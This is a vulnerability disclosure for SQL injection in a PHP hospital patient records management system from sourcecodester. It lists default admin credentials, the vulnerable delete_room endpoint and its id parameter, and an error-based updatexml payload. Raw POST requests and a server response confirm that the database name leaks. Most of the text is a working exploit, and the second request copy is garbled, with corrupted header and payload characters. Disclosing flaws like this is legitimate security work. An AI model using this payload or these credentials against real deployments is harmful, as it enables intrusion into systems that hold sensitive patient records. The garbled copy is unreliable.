

System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15116/hospitals-patient-recordsmanagement-system-php-free-source-code.html

Vulnerability File: /hprms/classes/Master.php?f=delete_room

Vulnerability location: /hprms/classes/Master.php?f=delete_room, id

Current database name: hprms_db ,length is 8

[+] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /hprms/classes/Master.php?f=delete_room HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhprll4jr1

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 65

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+



```
POST /hprms/classes/Master.php?f=delete_room HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Conkie: PHPSESSID=7g6mvmuq5m1olcvqrhprl14jr1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
id=1| and updatexm1(1,concat(0x7e,(select database()),0x7e),0)--+
```

```
HTTP/1.1 200 OK
Date: Fri, 03 Jun 2022 09:06:19 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 62
Connection: close
Content-Type: text/html; charset=UTF-8
{"status":"failed","error":"XPATH syntax error: '~hprms_db~'"}
```